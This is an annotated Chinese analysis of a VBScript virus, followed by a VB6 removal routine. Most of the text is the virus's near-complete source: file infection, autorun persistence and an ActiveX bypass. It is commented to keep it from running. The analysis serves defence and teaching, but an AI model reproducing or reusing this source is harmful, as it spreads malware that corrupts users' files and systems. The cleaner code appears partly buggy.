//作者 :牛博威
//Email: advice107@sina.com
//htttp://nboy.cnwlt.com
//本病毒流程十分简单,也十分精炼,当然强度也不高了.
//感染文件类型:
//VBS,HTML,HTM,HTA,HTT,不感染长度为零文件
//获得控制权(也就是开机自启动):
//1、病毒在开始菜单启动项中建立internet.exe.VBS,并把自身写入其中.
//2、病毒在系统目录中建立system.vbs(内含病毒体),通过WSCRIPT.EXE来执行。并且建立autorun.inf文件来设置开机自启。
// 但是由于病毒代码些的有问题,这项功能基本未达到.
//3、把被染毒文件folder.htt拷贝到每个分区的根目录,这样一打开该分区,就执行病毒
//感染:
//利用递归方法,读取硬盘上所有文件,如果符合感染标准,就把自身添加到文件末尾
//我水平有限,注释如有问题请原谅,欢迎和我联系。我的注释采用//,是为了防治此代码被误运行。
〈script language=vbscript〉document.write "〈div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'〉〈"&"APPLET NAME=zxqqrh"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent〉〈/APPLET〉〈/div〉"〈/script〉〈SCRIPT language="VBScript"〉
On error resume next
Randomize
ErrTest = WScript.ScriptFullname //取自身路径和名称
If Err Then
//找不到自身名称,发生错误。同时也说明此病毒刚进入本机器
EF="htm"
Else
EF="vbs"
set ZEhshll=WScript.CreateObject("WSCript.shell")
if ucase(right(WScript.ScriptFullname,10))="SYSTEM.VBS" THEN
//病毒体SYSTEM.VBS在系统加载的时候启动,同时也把IEXPLORE.EXE打开(要不用户岂不进不了系统:))
ZEhshll.run "IEXPLORE.EXE " &mid(WScript.ScriptFullname,1,3)
end IF
end If
if EF="htm" then //对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个对象
Set PW = document.applets("zxqqrh_guest")
PW.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
PW.createInstance()
Set MOMUNT = PW.GetObject() //创建WSH对象
PW.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
PW.createInstance()
Set GRBRRIR = PW.GetObject() //创建fso对象
for each ZE in document.scripts
if lcase(ZE.language)="vbscript" then
UQOYMSZEHA=ZE.text
end if
next
else
Set GRBRRIR = CreateObject("Scripting.FileSystemObject")
Set TV = GRBRRIR.OpenTextFile(WScript.ScriptFullname, 1)
UQOYMSZEHA = TV.ReadAll //读取病毒自身代码,并赋给UQOYMSZEHA变量
end if
ZW="〈SCRIPT language="&chr(34)&"VBScript"&chr(34)&"〉"&vbcrlf&UQOYMSZEHA&"〈"&chr(47)&"script〉"
XMZPCTBGP ="〈" & "script language=vbscript〉" & vbCrLf & "document.write " & """" & "〈" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'〉" & "〈""&""" & "APPLET NAME=zxqqrh""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent〉" & "〈" & "/APPLET〉" & "〈" & "/div〉""" & vbCrLf & "〈" & "/script〉"&vbcrlf&ZW
WinPath = GRBRRIR.GetSpecialFolder(0) & "\" //获取系统路径
MOMUNT.RegWrite "HKEY_CLASSES_ROOT\.vbs\", "vbsfile" //修改注册表
If not(GRBRRIR.FileExists(WinPath &"Start Menu\Programs\启动\internet.exe.VBS")) Then
//在启动菜单中添加internet.exe.VBS,这个文件的内容就是病毒自身
set systembak = GRBRRIR.CreateTextFile(WinPath &"Start Menu\Programs\启动\internet.exe.VBS", true)
systembak.write UQOYMSZEHA //把病毒自身写入文件
systembak.CLOS
END IF
Set dc = GRBRRIR.Drives
For each va in dc //处理磁盘上的所有文件,包括软盘
var =va&"\" //获取硬盘分区根目录路径
zd(var)
Set f = GRBRRIR.GetFolder(var)
listfl(f)
For Each fz in f.SubFolders
listf(fz)
listfl(fz)
Next
next
sub listf(fs)
IF EF="htm" THEN //如果未曾初始化成功,便退出
EXIT SUB
END IF
for each filed in fs.subfolders //递归处理下一级文件
listf(filed)
listfl(filed)
next
end sub
sub listfl(f2)
for each ww in f2.files
exte=ucase(GRBRRIR.GetExtensionName (ww))
IF exte="VBS" or exte="HTML" OR EXTE="HTM" OR EXTE="HTA" or exte="HTT" THEN
//如果文件名符合标准,便开始感染该文件
cheack(ww)
end if
next
end sub
sub cheack(ww)
Const ForReading = 1, ForWriting = 2, ForAppending = 8
set f1=GRBRRIR.opentextfile(ww,forreading)
hk=f1.readall
if Instr(hk,"'zxqqrh") 〈〉 0 Or Len(hk) 〈 1 Then //'zxqqrh为病毒的感染标志.如果文件长度为0也不感染
f1.close
exit sub
else
Set ddf = GRBRRIR.GetFile(ww) //获取文件句炳
ld= ddf.attributes //保存文件属性
ddf.attributes=0 //修改文件属性,以便感染之
Set OBSXWV = GRBRRIR.OpenTextFile(ww, forappending, True)
IF ucase(GRBRRIR.GetExtensionName (ww))〈〉"VBS" THEN
OBSXWV.write vbcrlf&XMZPCTBGP //感染非vbs文件
else
OBSXWV.write vbcrlf&UQOYMSZEHA //把病毒写入VBS文件
end if
OBSXWV.close
ddf.attributes=ld //恢复文件属性
end if
end sub
sub zd(var)
Err.clear
ui=var+"autorun.inf"
If not (GRBRRIR.FileExists(WinPath&"web\folder.htt")) or not (GRBRRIR.FileExists(ui)) then
//判断每个硬盘分区的根目录是否有autorun.inf,系统目录下面是不是有web\folder.htt
//如果存在的话,就把web\folder.htt和desktop.ini拷贝到每个分区根目录
//但是这个判断条件写的有问题,应该把not去掉才显得合理
GRBRRIR.copyfile WinPath&"web\folder.htt", var
GRBRRIR.copyfile WinPath&"desktop.ini", var
If Err Then
bat=var+GRBRRIR.getfilename(iv1) //这句话是不是多余?
set a = GRBRRIR.CreateTextFile(ui, true) //在每个分区建立autorun.inf文件
set b = GRBRRIR.CreateTextFile(var&"system.vbs", true) //在系统路径建立system.vbs
a.WriteLine("[autorun]") //设置开机自启动
a.writeline("open=WSCRIPT.EXE"&" system.vbs") //这就保证了每次开机的时候自动运行system.vbs,也就是病毒本身
b.writeline UQOYMSZEHA //把病毒体写入system.vbs
b.close()
a.Close()
set TK=GRBRRIR.getfile(ui) //修改属性,我的VBS学得不好,不晓得这位老兄为何不在上面把属性改掉
set PF=GRBRRIR.getfile(var&"system.vbs")
TK.attributes = TK.attributes + 2
PF.attributes = PF.attributes + 2
end if
end if
end sub〈/script〉
既然弄懂了其感染机理,就可以编写相关杀毒软件了。
要杀必须先查,我们通过病毒的特征代码来查找,比如通过查找文件中是不是含有'zxqqrh字段,当然了,查找的特征代码越长越好。
然后我们要杀毒,我的看法是,对于网页,最后的代码无非是〈/html〉,因此,把网页代码最后一个“〈/html〉”后面所有的部分都删除。或许你会问,为什么不首先算出病毒大小,然后删除最后这么大的部分呢?因为病毒代码中间的那一大段空白空间是随机产生的,这样病毒的大小是随机变化的。对于其他的染毒文件如何处理呢?其他文件一般是.htt,.hta等等,反正我的计算机中这些都不重要,因此我就全部把他们delete了,呵呵。下面是杀毒软件的文件处理部分,函数的参数是任何一个网页文件。我用的方法是先删除原来的文件,在重新建立,感觉不好,不过先凑和着用吧。
Private Sub check(filpath As String)
Dim content As String
Dim ts As TextStream
Dim newEnd As Integer
On Error Resume Next
Err.Clear
Set ts = fsxo.OpenTextFile(filpath) '打开文件
content = ts.ReadAll '读取文件内容
If Trim(content) = "" Then Exit Sub
ts.Close
List2.AddItem filpath '打印文件名称
If InStr(content, "'zxqqrh") 〈〉 0 Then
fsxo.DeleteFile filpath, True '强行删除文件
Set filstr = fsxo.CreateTextFile(filpath, True, False) '新建立同名文件
filstr.Close
newEnd = InStrRev(1, content, "〈/html〉") + 6 '因为是网页文件,所以原来的文件末尾应该是"〈/html〉",这里用inStrRev是为了查找最后的〈/html〉标签
Set ts = fsxo.OpenTextFile(filpath, ForWriting, True, TristateFalse)
ts.Write (Left$(content, newEnd)) '把原来文件的内容写入新建立的同名文件
ts.Close
If Err Then
wrong = wrong + 1 '错误文件数目,就是操作过程中出现错误的文件
List2.AddItem " 错误号: " + Err.Number
List3.AddItem filpath + "错误原因: " + Str(Err.Number)
Else
vircount = vircount + 1 '正确处理的文件
List2.AddItem " 杀毒成功!"
End If
Else
List2.AddItem "未感染!"
End If
End Sub